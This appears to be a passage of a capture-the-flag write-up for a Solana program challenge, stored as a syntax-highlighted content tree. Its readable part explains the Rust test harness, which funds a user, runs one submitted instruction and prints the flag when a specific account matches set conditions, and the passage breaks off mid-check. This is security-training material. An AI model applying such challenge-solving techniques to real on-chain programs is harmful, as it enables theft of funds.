":41388},{"style":170},[41389],{"type":28,"value":706},{"type":23,"tag":41,"props":41391,"children":41392},{"style":114},[41393],{"type":28,"value":3664},{"type":23,"tag":41,"props":41395,"children":41396},{"style":70},[41397],{"type":28,"value":15416},{"type":23,"tag":41,"props":41399,"children":41400},{"class":43,"line":105},[41401,41405,41409,41413,41417,41421,41425,41429,41433,41437,41441,41445,41449,41453,41457,41461,41465,41469,41473,41477,41481,41485,41489,41493,41497,41501,41505,41509],{"type":23,"tag":41,"props":41402,"children":41403},{"style":64},[41404],{"type":28,"value":3066},{"type":23,"tag":41,"props":41406,"children":41407},{"style":858},[41408],{"type":28,"value":40760},{"type":23,"tag":41,"props":41410,"children":41411},{"style":170},[41412],{"type":28,"value":3017},{"type":23,"tag":41,"props":41414,"children":41415},{"style":70},[41416],{"type":28,"value":40645},{"type":23,"tag":41,"props":41418,"children":41419},{"style":170},[41420],{"type":28,"value":3479},{"type":23,"tag":41,"props":41422,"children":41423},{"style":70},[41424],{"type":28,"value":40654},{"type":23,"tag":41,"props":41426,"children":41427},{"style":170},[41428],{"type":28,"value":3479},{"type":23,"tag":41,"props":41430,"children":41431},{"style":114},[41432],{"type":28,"value":40663},{"type":23,"tag":41,"props":41434,"children":41435},{"style":170},[41436],{"type":28,"value":3479},{"type":23,"tag":41,"props":41438,"children":41439},{"style":70},[41440],{"type":28,"value":40672},{"type":23,"tag":41,"props":41442,"children":41443},{"style":94},[41444],{"type":28,"value":3419},{"type":23,"tag":41,"props":41446,"children":41447},{"style":70},[41448],{"type":28,"value":17213},{"type":23,"tag":41,"props":41450,"children":41451},{"style":164},[41452],{"type":28,"value":4078},{"type":23,"tag":41,"props":41454,"children":41455},{"style":70},[41456],{"type":28,"value":23047},{"type":23,"tag":41,"props":41458,"children":41459},{"style":94},[41460],{"type":28,"value":8041},{"type":23,"tag":41,"props":41462,"children":41463},{"style":70},[41464],{"type":28,"value":7610},{"type":23,"tag":41,"props":41466,"children":41467},{"style":858},[41468],{"type":28,"value":3701},{"type":23,"tag":41,"props":41470,"children":41471},{"style":70},[41472],{"type":28,"value":312},{"type":23,"tag":41,"props":41474,"children":41475},{"style":164},[41476],{"type":28,"value":4078},{"type":23,"tag":41,"props":41478,"children":41479},{"style":170},[41480],{"type":28,"value":3053},{"type":23,"tag":41,"props":41482,"children":41483},{"style":164},[41484],{"type":28,"value":40837},{"type":23,"tag":41,"props":41486,"children":41487},{"style":70},[41488],{"type":28,"value":15402},{"type":23,"tag":41,"props":41490,"children":41491},{"style":170},[41492],{"type":28,"value":706},{"type":23,"tag":41,"props":41494,"children":41495},{"style":114},[41496],{"type":28,"value":26161},{"type":23,"tag":41,"props":41498,"children":41499},{"style":70},[41500],{"type":28,"value":13873},{"type":23,"tag":41,"props":41502,"children":41503},{"style":170},[41504],{"type":28,"value":706},{"type":23,"tag":41,"props":41506,"children":41507},{"style":114},[41508],{"type":28,"value":3664},{"type":23,"tag":41,"props":41510,"children":41511},{"style":70},[41512],{"type":28,"value":15416},{"type":23,"tag":41,"props":41514,"children":41515},{"class":43,"line":155},[41516,41520,41524,41528],{"type":23,"tag":41,"props":41517,"children":41518},{"style":114},[41519],{"type":28,"value":40873},{"type":23,"tag":41,"props":41521,"children":41522},{"style":70},[41523],{"type":28,"value":1737},{"type":23,"tag":41,"props":41525,"children":41526},{"style":858},[41527],{"type":28,"value":12627},{"type":23,"tag":41,"props":41529,"children":41530},{"style":70},[41531],{"type":28,"value":3825},{"type":23,"tag":41,"props":41533,"children":41534},{"class":43,"line":186},[41535],{"type":23,"tag":41,"props":41536,"children":41537},{"emptyLinePlaceholder":18},[41538],{"type":28,"value":82},{"type":23,"tag":41,"props":41540,"children":41541},{"class":43,"line":195},[41542,41546,41550,41554,41558,41562,41566,41570],{"type":23,"tag":41,"props":41543,"children":41544},{"style":858},[41545],{"type":28,"value":41044},{"type":23,"tag":41,"props":41547,"children":41548},{"style":170},[41549],{"type":28,"value":3017},{"type":23,"tag":41,"props":41551,"children":41552},{"style":170},[41553],{"type":28,"value":7140},{"type":23,"tag":41,"props":41555,"children":41556},{"style":858},[41557],{"type":28,"value":3701},{"type":23,"tag":41,"props":41559,"children":41560},{"style":70},[41561],{"type":28,"value":312},{"type":23,"tag":41,"props":41563,"children":41564},{"style":164},[41565],{"type":28,"value":40837},{"type":23,"tag":41,"props":41567,"children":41568},{"style":170},[41569],{"type":28,"value":3053},{"type":23,"tag":41,"props":41571,"children":41572},{"style":70},[41573],{"type":28,"value":31568},{"type":23,"tag":41,"props":41575,"children":41576},{"class":43,"line":905},[41577],{"type":23,"tag":41,"props":41578,"children":41579},{"emptyLinePlaceholder":18},[41580],{"type":28,"value":82},{"type":23,"tag":41,"props":41582,"children":41583},{"class":43,"line":922},[41584,41588,41592,41596,41600,41604,41608,41612,41616,41620,41624,41628,41632,41636,41640,41644,41648,41652,41656,41660,41664,41668,41672,41676,41680,41684,41688,41692,41696],{"type":23,"tag":41,"props":41585,"children":41586},{"style":64},[41587],{"type":28,"value":3066},{"type":23,"tag":41,"props":41589,"children":41590},{"style":858},[41591],{"type":28,"value":13851},{"type":23,"tag":41,"props":41593,"children":41594},{"style":170},[41595],{"type":28,"value":3017},{"type":23,"tag":41,"props":41597,"children":41598},{"style":70},[41599],{"type":28,"value":40645},{"type":23,"tag":41,"props":41601,"children":41602},{"style":170},[41603],{"type":28,"value":3479},{"type":23,"tag":41,"props":41605,"children":41606},{"style":70},[41607],{"type":28,"value":40654},{"type":23,"tag":41,"props":41609,"children":41610},{"style":170},[41611],{"type":28,"value":3479},{"type":23,"tag":41,"props":41613,"children":41614},{"style":114},[41615],{"type":28,"value":40663},{"type":23,"tag":41,"props":41617,"children":41618},{"style":170},[41619],{"type":28,"value":3479},{"type":23,"tag":41,"props":41621,"children":41622},{"style":70},[41623],{"type":28,"value":40672},{"type":23,"tag":41,"props":41625,"children":41626},{"style":94},[41627],{"type":28,"value":3419},{"type":23,"tag":41,"props":41629,"children":41630},{"style":70},[41631],{"type":28,"value":17213},{"type":23,"tag":41,"props":41633,"children":41634},{"style":164},[41635],{"type":28,"value":4078},{"type":23,"tag":41,"props":41637,"children":41638},{"style":70},[41639],{"type":28,"value":23047},{"type":23,"tag":41,"props":41641,"children":41642},{"style":64},[41643],{"type":28,"value":20255},{"type":23,"tag":41,"props":41645,"children":41646},{"style":70},[41647],{"type":28,"value":1737},{"type":23,"tag":41,"props":41649,"children":41650},{"style":94},[41651],{"type":28,"value":8041},{"type":23,"tag":41,"props":41653,"children":41654},{"style":70},[41655],{"type":28,"value":41353},{"type":23,"tag":41,"props":41657,"children":41658},{"style":858},[41659],{"type":28,"value":3701},{"type":23,"tag":41,"props":41661,"children":41662},{"style":70},[41663],{"type":28,"value":312},{"type":23,"tag":41,"props":41665,"children":41666},{"style":170},[41667],{"type":28,"value":3053},{"type":23,"tag":41,"props":41669,"children":41670},{"style":164},[41671],{"type":28,"value":4078},{"type":23,"tag":41,"props":41673,"children":41674},{"style":70},[41675],{"type":28,"value":15402},{"type":23,"tag":41,"props":41677,"children":41678},{"style":170},[41679],{"type":28,"value":706},{"type":23,"tag":41,"props":41681,"children":41682},{"style":114},[41683],{"type":28,"value":26161},{"type":23,"tag":41,"props":41685,"children":41686},{"style":70},[41687],{"type":28,"value":13873},{"type":23,"tag":41,"props":41689,"children":41690},{"style":170},[41691],{"type":28,"value":706},{"type":23,"tag":41,"props":41693,"children":41694},{"style":114},[41695],{"type":28,"value":3664},{"type":23,"tag":41,"props":41697,"children":41698},{"style":70},[41699],{"type":28,"value":15416},{"type":23,"tag":41,"props":41701,"children":41702},{"class":43,"line":930},[41703,41707,41711,41715,41719,41723,41727,41731,41735,41739,41743,41747,41751,41755,41759,41763,41767,41771,41775,41779,41783,41787,41791,41795,41799,41803,41807,41811],{"type":23,"tag":41,"props":41704,"children":41705},{"style":64},[41706],{"type":28,"value":3066},{"type":23,"tag":41,"props":41708,"children":41709},{"style":858},[41710],{"type":28,"value":40760},{"type":23,"tag":41,"props":41712,"children":41713},{"style":170},[41714],{"type":28,"value":3017},{"type":23,"tag":41,"props":41716,"children":41717},{"style":70},[41718],{"type":28,"value":40645},{"type":23,"tag":41,"props":41720,"children":41721},{"style":170},[41722],{"type":28,"value":3479},{"type":23,"tag":41,"props":41724,"children":41725},{"style":70},[41726],{"type":28,"value":40654},{"type":23,"tag":41,"props":41728,"children":41729},{"style":170},[41730],{"type":28,"value":3479},{"type":23,"tag":41,"props":41732,"children":41733},{"style":114},[41734],{"type":28,"value":40663},{"type":23,"tag":41,"props":41736,"children":41737},{"style":170},[41738],{"type":28,"value":3479},{"type":23,"tag":41,"props":41740,"children":41741},{"style":70},[41742],{"type":28,"value":40672},{"type":23,"tag":41,"props":41744,"children":41745},{"style":94},[41746],{"type":28,"value":3419},{"type":23,"tag":41,"props":41748,"children":41749},{"style":70},[41750],{"type":28,"value":17213},{"type":23,"tag":41,"props":41752,"children":41753},{"style":164},[41754],{"type":28,"value":4078},{"type":23,"tag":41,"props":41756,"children":41757},{"style":70},[41758],{"type":28,"value":23047},{"type":23,"tag":41,"props":41760,"children":41761},{"style":94},[41762],{"type":28,"value":8041},{"type":23,"tag":41,"props":41764,"children":41765},{"style":70},[41766],{"type":28,"value":7610},{"type":23,"tag":41,"props":41768,"children":41769},{"style":858},[41770],{"type":28,"value":3701},{"type":23,"tag":41,"props":41772,"children":41773},{"style":70},[41774],{"type":28,"value":312},{"type":23,"tag":41,"props":41776,"children":41777},{"style":164},[41778],{"type":28,"value":4078},{"type":23,"tag":41,"props":41780,"children":41781},{"style":170},[41782],{"type":28,"value":3053},{"type":23,"tag":41,"props":41784,"children":41785},{"style":164},[41786],{"type":28,"value":40837},{"type":23,"tag":41,"props":41788,"children":41789},{"style":70},[41790],{"type":28,"value":15402},{"type":23,"tag":41,"props":41792,"children":41793},{"style":170},[41794],{"type":28,"value":706},{"type":23,"tag":41,"props":41796,"children":41797},{"style":114},[41798],{"type":28,"value":26161},{"type":23,"tag":41,"props":41800,"children":41801},{"style":70},[41802],{"type":28,"value":13873},{"type":23,"tag":41,"props":41804,"children":41805},{"style":170},[41806],{"type":28,"value":706},{"type":23,"tag":41,"props":41808,"children":41809},{"style":114},[41810],{"type":28,"value":3664},{"type":23,"tag":41,"props":41812,"children":41813},{"style":70},[41814],{"type":28,"value":15416},{"type":23,"tag":41,"props":41816,"children":41817},{"class":43,"line":939},[41818,41822,41826,41830],{"type":23,"tag":41,"props":41819,"children":41820},{"style":114},[41821],{"type":28,"value":40873},{"type":23,"tag":41,"props":41823,"children":41824},{"style":70},[41825],{"type":28,"value":1737},{"type":23,"tag":41,"props":41827,"children":41828},{"style":858},[41829],{"type":28,"value":12627},{"type":23,"tag":41,"props":41831,"children":41832},{"style":70},[41833],{"type":28,"value":3825},{"type":23,"tag":41,"props":41835,"children":41836},{"class":43,"line":947},[41837],{"type":23,"tag":41,"props":41838,"children":41839},{"style":70},[41840],{"type":28,"value":192},{"type":23,"tag":41,"props":41842,"children":41843},{"class":43,"line":985},[41844],{"type":23,"tag":41,"props":41845,"children":41846},{"style":70},[41847],{"type":28,"value":201},{"type":23,"tag":546,"props":41849,"children":41851},{"id":41850},"test-environment",[41852],{"type":28,"value":41853},"Test Environment",{"type":23,"tag":24,"props":41855,"children":41856},{},[41857],{"type":28,"value":41858},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":24,"props":41860,"children":41861},{},[41862,41864,41870],{"type":28,"value":41863},"When you connect to the server through a tcp connection, ",{"type":23,"tag":37,"props":41865,"children":41867},{"className":41866},[],[41868],{"type":28,"value":41869},"framework/src/main.rs::handle_connection",{"type":28,"value":41871}," gets executed, which does the following:",{"type":23,"tag":5436,"props":41873,"children":41874},{},[41875],{"type":23,"tag":421,"props":41876,"children":41877},{},[41878],{"type":28,"value":41879},"Creates a new Solana local node",{"type":23,"tag":31,"props":41881,"children":41883},{"className":2982,"code":41882,"language":2981,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[41884],{"type":23,"tag":37,"props":41885,"children":41886},{"__ignoreMap":7},[41887,41968,42044],{"type":23,"tag":41,"props":41888,"children":41889},{"class":43,"line":44},[41890,41894,41898,41903,41907,41912,41916,41921,41925,41930,41934,41939,41943,41947,41951,41956,41960,41964],{"type":23,"tag":41,"props":41891,"children":41892},{"style":64},[41893],{"type":28,"value":11784},{"type":23,"tag":41,"props":41895,"children":41896},{"style":64},[41897],{"type":28,"value":3007},{"type":23,"tag":41,"props":41899,"children":41900},{"style":858},[41901],{"type":28,"value":41902}," builder",{"type":23,"tag":41,"props":41904,"children":41905},{"style":170},[41906],{"type":28,"value":3017},{"type":23,"tag":41,"props":41908,"children":41909},{"style":94},[41910],{"type":28,"value":41911}," ChallengeBuilder",{"type":23,"tag":41,"props":41913,"children":41914},{"style":170},[41915],{"type":28,"value":3479},{"type":23,"tag":41,"props":41917,"children":41918},{"style":114},[41919],{"type":28,"value":41920},"try_from",{"type":23,"tag":41,"props":41922,"children":41923},{"style":70},[41924],{"type":28,"value":1737},{"type":23,"tag":41,"props":41926,"children":41927},{"style":858},[41928],{"type":28,"value":41929},"socket",{"type":23,"tag":41,"props":41931,"children":41932},{"style":170},[41933],{"type":28,"value":706},{"type":23,"tag":41,"props":41935,"children":41936},{"style":114},[41937],{"type":28,"value":41938},"try_clone",{"type":23,"tag":41,"props":41940,"children":41941},{"style":70},[41942],{"type":28,"value":13873},{"type":23,"tag":41,"props":41944,"children":41945},{"style":170},[41946],{"type":28,"value":706},{"type":23,"tag":41,"props":41948,"children":41949},{"style":114},[41950],{"type":28,"value":3664},{"type":23,"tag":41,"props":41952,"children":41953},{"style":70},[41954],{"type":28,"value":41955},"())",{"type":23,"tag":41,"props":41957,"children":41958},{"style":170},[41959],{"type":28,"value":706},{"type":23,"tag":41,"props":41961,"children":41962},{"style":114},[41963],{"type":28,"value":3664},{"type":23,"tag":41,"props":41965,"children":41966},{"style":70},[41967],{"type":28,"value":3669},{"type":23,"tag":41,"props":41969,"children":41970},{"class":43,"line":54},[41971,41976,41980,41985,41989,41994,41998,42003,42007,42012,42017,42021,42026,42030,42035,42039],{"type":23,"tag":41,"props":41972,"children":41973},{"style":114},[41974],{"type":28,"value":41975},"assert!",{"type":23,"tag":41,"props":41977,"children":41978},{"style":70},[41979],{"type":28,"value":1737},{"type":23,"tag":41,"props":41981,"children":41982},{"style":858},[41983],{"type":28,"value":41984},"builder",{"type":23,"tag":41,"props":41986,"children":41987},{"style":170},[41988],{"type":28,"value":706},{"type":23,"tag":41,"props":41990,"children":41991},{"style":114},[41992],{"type":28,"value":41993},"add_program",{"type":23,"tag":41,"props":41995,"children":41996},{"style":70},[41997],{"type":28,"value":1737},{"type":23,"tag":41,"props":41999,"children":42000},{"style":735},[42001],{"type":28,"value":42002},"\"/path/to/chall.so\"",{"type":23,"tag":41,"props":42004,"children":42005},{"style":70},[42006],{"type":28,"value":970},{"type":23,"tag":41,"props":42008,"children":42009},{"style":94},[42010],{"type":28,"value":42011},"Some",{"type":23,"tag":41,"props":42013,"children":42014},{"style":70},[42015],{"type":28,"value":42016},"(chall",{"type":23,"tag":41,"props":42018,"children":42019},{"style":170},[42020],{"type":28,"value":3479},{"type":23,"tag":41,"props":42022,"children":42023},{"style":70},[42024],{"type":28,"value":42025},"ID)) ",{"type":23,"tag":41,"props":42027,"children":42028},{"style":170},[42029],{"type":28,"value":387},{"type":23,"tag":41,"props":42031,"children":42032},{"style":70},[42033],{"type":28,"value":42034}," chall",{"type":23,"tag":41,"props":42036,"children":42037},{"style":170},[42038],{"type":28,"value":3479},{"type":23,"tag":41,"props":42040,"children":42041},{"style":70},[42042],{"type":28,"value":42043},"ID);\n",{"type":23,"tag":41,"props":42045,"children":42046},{"class":43,"line":76},[42047,42051,42055,42059,42063,42067,42071,42076,42080,42084,42088],{"type":23,"tag":41,"props":42048,"children":42049},{"style":64},[42050],{"type":28,"value":11784},{"type":23,"tag":41,"props":42052,"children":42053},{"style":64},[42054],{"type":28,"value":3007},{"type":23,"tag":41,"props":42056,"children":42057},{"style":858},[42058],{"type":28,"value":42034},{"type":23,"tag":41,"props":42060,"children":42061},{"style":170},[42062],{"type":28,"value":3017},{"type":23,"tag":41,"props":42064,"children":42065},{"style":858},[42066],{"type":28,"value":41902},{"type":23,"tag":41,"props":42068,"children":42069},{"style":170},[42070],{"type":28,"value":706},{"type":23,"tag":41,"props":42072,"children":42073},{"style":114},[42074],{"type":28,"value":42075},"build",{"type":23,"tag":41,"props":42077,"children":42078},{"style":70},[42079],{"type":28,"value":13873},{"type":23,"tag":41,"props":42081,"children":42082},{"style":170},[42083],{"type":28,"value":706},{"type":23,"tag":41,"props":42085,"children":42086},{"style":58},[42087],{"type":28,"value":32909},{"type":23,"tag":41,"props":42089,"children":42090},{"style":70},[42091],{"type":28,"value":183},{"type":23,"tag":5436,"props":42093,"children":42094},{"start":54},[42095],{"type":23,"tag":421,"props":42096,"children":42097},{},[42098],{"type":28,"value":42099},"Funds the user account with 100 SOL",{"type":23,"tag":31,"props":42101,"children":42103},{"className":2982,"code":42102,"language":2981,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[42104],{"type":23,"tag":37,"props":42105,"children":42106},{"__ignoreMap":7},[42107,42140,42172,42179,42221,42253,42260,42268,42332,42351,42358],{"type":23,"tag":41,"props":42108,"children":42109},{"class":43,"line":44},[42110,42114,42119,42123,42128,42132,42136],{"type":23,"tag":41,"props":42111,"children":42112},{"style":64},[42113],{"type":28,"value":11784},{"type":23,"tag":41,"props":42115,"children":42116},{"style":858},[42117],{"type":28,"value":42118}," user_keypair",{"type":23,"tag":41,"props":42120,"children":42121},{"style":170},[42122],{"type":28,"value":3017},{"type":23,"tag":41,"props":42124,"children":42125},{"style":94},[42126],{"type":28,"value":42127}," Keypair",{"type":23,"tag":41,"props":42129,"children":42130},{"style":170},[42131],{"type":28,"value":3479},{"type":23,"tag":41,"props":42133,"children":42134},{"style":114},[42135],{"type":28,"value":15114},{"type":23,"tag":41,"props":42137,"children":42138},{"style":70},[42139],{"type":28,"value":3669},{"type":23,"tag":41,"props":42141,"children":42142},{"class":43,"line":54},[42143,42147,42152,42156,42160,42164,42168],{"type":23,"tag":41,"props":42144,"children":42145},{"style":64},[42146],{"type":28,"value":11784},{"type":23,"tag":41,"props":42148,"children":42149},{"style":858},[42150],{"type":28,"value":42151}," user",{"type":23,"tag":41,"props":42153,"children":42154},{"style":170},[42155],{"type":28,"value":3017},{"type":23,"tag":41,"props":42157,"children":42158},{"style":858},[42159],{"type":28,"value":42118},{"type":23,"tag":41,"props":42161,"children":42162},{"style":170},[42163],{"type":28,"value":706},{"type":23,"tag":41,"props":42165,"children":42166},{"style":114},[42167],{"type":28,"value":3543},{"type":23,"tag":41,"props":42169,"children":42170},{"style":70},[42171],{"type":28,"value":3669},{"type":23,"tag":41,"props":42173,"children":42174},{"class":43,"line":76},[42175],{"type":23,"tag":41,"props":42176,"children":42177},{"emptyLinePlaceholder":18},[42178],{"type":28,"value":82},{"type":23,"tag":41,"props":42180,"children":42181},{"class":43,"line":85},[42182,42186,42191,42195,42199,42204,42208,42212,42216],{"type":23,"tag":41,"props":42183,"children":42184},{"style":64},[42185],{"type":28,"value":11784},{"type":23,"tag":41,"props":42187,"children":42188},{"style":858},[42189],{"type":28,"value":42190}," payer_keypair",{"type":23,"tag":41,"props":42192,"children":42193},{"style":170},[42194],{"type":28,"value":3017},{"type":23,"tag":41,"props":42196,"children":42197},{"style":170},[42198],{"type":28,"value":7140},{"type":23,"tag":41,"props":42200,"children":42201},{"style":858},[42202],{"type":28,"value":42203},"chall",{"type":23,"tag":41,"props":42205,"children":42206},{"style":170},[42207],{"type":28,"value":706},{"type":23,"tag":41,"props":42209,"children":42210},{"style":70},[42211],{"type":28,"value":20269},{"type":23,"tag":41,"props":42213,"children":42214},{"style":170},[42215],{"type":28,"value":706},{"type":23,"tag":41,"props":42217,"children":42218},{"style":70},[42219],{"type":28,"value":42220},"payer;\n",{"type":23,"tag":41,"props":42222,"children":42223},{"class":43,"line":105},[42224,42228,42233,42237,42241,42245,42249],{"type":23,"tag":41,"props":42225,"children":42226},{"style":64},[42227],{"type":28,"value":11784},{"type":23,"tag":41,"props":42229,"children":42230},{"style":858},[42231],{"type":28,"value":42232}," payer",{"type":23,"tag":41,"props":42234,"children":42235},{"style":170},[42236],{"type":28,"value":3017},{"type":23,"tag":41,"props":42238,"children":42239},{"style":858},[42240],{"type":28,"value":42190},{"type":23,"tag":41,"props":42242,"children":42243},{"style":170},[42244],{"type":28,"value":706},{"type":23,"tag":41,"props":42246,"children":42247},{"style":114},[42248],{"type":28,"value":3543},{"type":23,"tag":41,"props":42250,"children":42251},{"style":70},[42252],{"type":28,"value":3669},{"type":23,"tag":41,"props":42254,"children":42255},{"class":43,"line":155},[42256],{"type":23,"tag":41,"props":42257,"children":42258},{"emptyLinePlaceholder":18},[42259],{"type":28,"value":82},{"type":23,"tag":41,"props":42261,"children":42262},{"class":43,"line":186},[42263],{"type":23,"tag":41,"props":42264,"children":42265},{"style":858},[42266],{"type":28,"value":42267},"chall\n",{"type":23,"tag":41,"props":42269,"children":42270},{"class":43,"line":195},[42271,42276,42281,42286,42290,42294,42298,42302,42307,42311,42315,42319,42323,42328],{"type":23,"tag":41,"props":42272,"children":42273},{"style":170},[42274],{"type":28,"value":42275},"    .",{"type":23,"tag":41,"props":42277,"children":42278},{"style":114},[42279],{"type":28,"value":42280},"run_ix",{"type":23,"tag":41,"props":42282,"children":42283},{"style":70},[42284],{"type":28,"value":42285},"(system_instruction",{"type":23,"tag":41,"props":42287,"children":42288},{"style":170},[42289],{"type":28,"value":3479},{"type":23,"tag":41,"props":42291,"children":42292},{"style":114},[42293],{"type":28,"value":32117},{"type":23,"tag":41,"props":42295,"children":42296},{"style":70},[42297],{"type":28,"value":1737},{"type":23,"tag":41,"props":42299,"children":42300},{"style":170},[42301],{"type":28,"value":855},{"type":23,"tag":41,"props":42303,"children":42304},{"style":858},[42305],{"type":28,"value":42306},"payer",{"type":23,"tag":41,"props":42308,"children":42309},{"style":70},[42310],{"type":28,"value":970},{"type":23,"tag":41,"props":42312,"children":42313},{"style":170},[42314],{"type":28,"value":855},{"type":23,"tag":41,"props":42316,"children":42317},{"style":858},[42318],{"type":28,"value":20221},{"type":23,"tag":41,"props":42320,"children":42321},{"style":70},[42322],{"type":28,"value":970},{"type":23,"tag":41,"props":42324,"children":42325},{"style":164},[42326],{"type":28,"value":42327},"100_000_000_000",{"type":23,"tag":41,"props":42329,"children":42330},{"style":70},[42331],{"type":28,"value":19700},{"type":23,"tag":41,"props":42333,"children":42334},{"class":43,"line":905},[42335,42339,42343,42347],{"type":23,"tag":41,"props":42336,"children":42337},{"style":170},[42338],{"type":28,"value":42275},{"type":23,"tag":41,"props":42340,"children":42341},{"style":58},[42342],{"type":28,"value":32909},{"type":23,"tag":41,"props":42344,"children":42345},{"style":170},[42346],{"type":28,"value":3155},{"type":23,"tag":41,"props":42348,"children":42349},{"style":70},[42350],{"type":28,"value":183},{"type":23,"tag":41,"props":42352,"children":42353},{"class":43,"line":922},[42354],{"type":23,"tag":41,"props":42355,"children":42356},{"emptyLinePlaceholder":18},[42357],{"type":28,"value":82},{"type":23,"tag":41,"props":42359,"children":42360},{"class":43,"line":930},[42361,42366,42370,42374,42378,42383,42387,42391,42395,42399],{"type":23,"tag":41,"props":42362,"children":42363},{"style":114},[42364],{"type":28,"value":42365},"writeln!",{"type":23,"tag":41,"props":42367,"children":42368},{"style":70},[42369],{"type":28,"value":1737},{"type":23,"tag":41,"props":42371,"children":42372},{"style":858},[42373],{"type":28,"value":41929},{"type":23,"tag":41,"props":42375,"children":42376},{"style":70},[42377],{"type":28,"value":970},{"type":23,"tag":41,"props":42379,"children":42380},{"style":735},[42381],{"type":28,"value":42382},"\"user: {}\"",{"type":23,"tag":41,"props":42384,"children":42385},{"style":70},[42386],{"type":28,"value":970},{"type":23,"tag":41,"props":42388,"children":42389},{"style":858},[42390],{"type":28,"value":20221},{"type":23,"tag":41,"props":42392,"children":42393},{"style":70},[42394],{"type":28,"value":2678},{"type":23,"tag":41,"props":42396,"children":42397},{"style":170},[42398],{"type":28,"value":3155},{"type":23,"tag":41,"props":42400,"children":42401},{"style":70},[42402],{"type":28,"value":183},{"type":23,"tag":5436,"props":42404,"children":42405},{"start":76},[42406],{"type":23,"tag":421,"props":42407,"children":42408},{},[42409],{"type":28,"value":42410},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":31,"props":42412,"children":42414},{"className":2982,"code":42413,"language":2981,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[42415],{"type":23,"tag":37,"props":42416,"children":42417},{"__ignoreMap":7},[42418,42468],{"type":23,"tag":41,"props":42419,"children":42420},{"class":43,"line":44},[42421,42425,42430,42434,42438,42442,42447,42451,42455,42460,42464],{"type":23,"tag":41,"props":42422,"children":42423},{"style":64},[42424],{"type":28,"value":11784},{"type":23,"tag":41,"props":42426,"children":42427},{"style":858},[42428],{"type":28,"value":42429}," solve_ix",{"type":23,"tag":41,"props":42431,"children":42432},{"style":170},[42433],{"type":28,"value":3017},{"type":23,"tag":41,"props":42435,"children":42436},{"style":858},[42437],{"type":28,"value":42034},{"type":23,"tag":41,"props":42439,"children":42440},{"style":170},[42441],{"type":28,"value":706},{"type":23,"tag":41,"props":42443,"children":42444},{"style":114},[42445],{"type":28,"value":42446},"read_instruction",{"type":23,"tag":41,"props":42448,"children":42449},{"style":70},[42450],{"type":28,"value":42016},{"type":23,"tag":41,"props":42452,"children":42453},{"style":170},[42454],{"type":28,"value":3479},{"type":23,"tag":41,"props":42456,"children":42457},{"style":70},[42458],{"type":28,"value":42459},"ID)",{"type":23,"tag":41,"props":42461,"children":42462},{"style":170},[42463],{"type":28,"value":3155},{"type":23,"tag":41,"props":42465,"children":42466},{"style":70},[42467],{"type":28,"value":183},{"type":23,"tag":41,"props":42469,"children":42470},{"class":43,"line":54},[42471,42475,42479,42484,42488,42492,42496,42501,42505,42509,42513,42517,42522,42526,42530,42534,42538,42542,42546,42550],{"type":23,"tag":41,"props":42472,"children":42473},{"style":858},[42474],{"type":28,"value":42203},{"type":23,"tag":41,"props":42476,"children":42477},{"style":170},[42478],{"type":28,"value":706},{"type":23,"tag":41,"props":42480,"children":42481},{"style":114},[42482],{"type":28,"value":42483},"run_ixs_full",{"type":23,"tag":41,"props":42485,"children":42486},{"style":70},[42487],{"type":28,"value":1737},{"type":23,"tag":41,"props":42489,"children":42490},{"style":170},[42491],{"type":28,"value":855},{"type":23,"tag":41,"props":42493,"children":42494},{"style":70},[42495],{"type":28,"value":312},{"type":23,"tag":41,"props":42497,"children":42498},{"style":858},[42499],{"type":28,"value":42500},"solve_ix",{"type":23,"tag":41,"props":42502,"children":42503},{"style":70},[42504],{"type":28,"value":23047},{"type":23,"tag":41,"props":42506,"children":42507},{"style":170},[42508],{"type":28,"value":855},{"type":23,"tag":41,"props":42510,"children":42511},{"style":70},[42512],{"type":28,"value":312},{"type":23,"tag":41,"props":42514,"children":42515},{"style":170},[42516],{"type":28,"value":855},{"type":23,"tag":41,"props":42518,"children":42519},{"style":858},[42520],{"type":28,"value":42521},"user_keypair",{"type":23,"tag":41,"props":42523,"children":42524},{"style":70},[42525],{"type":28,"value":23047},{"type":23,"tag":41,"props":42527,"children":42528},{"style":170},[42529],{"type":28,"value":855},{"type":23,"tag":41,"props":42531,"children":42532},{"style":858},[42533],{"type":28,"value":20221},{"type":23,"tag":41,"props":42535,"children":42536},{"style":70},[42537],{"type":28,"value":2678},{"type":23,"tag":41,"props":42539,"children":42540},{"style":170},[42541],{"type":28,"value":706},{"type":23,"tag":41,"props":42543,"children":42544},{"style":58},[42545],{"type":28,"value":32909},{"type":23,"tag":41,"props":42547,"children":42548},{"style":170},[42549],{"type":28,"value":3155},{"type":23,"tag":41,"props":42551,"children":42552},{"style":70},[42553],{"type":28,"value":183},{"type":23,"tag":5436,"props":42555,"children":42556},{"start":85},[42557],{"type":23,"tag":421,"props":42558,"children":42559},{},[42560],{"type":28,"value":42561},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":31,"props":42563,"children":42565},{"className":2982,"code":42564,"language":2981,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    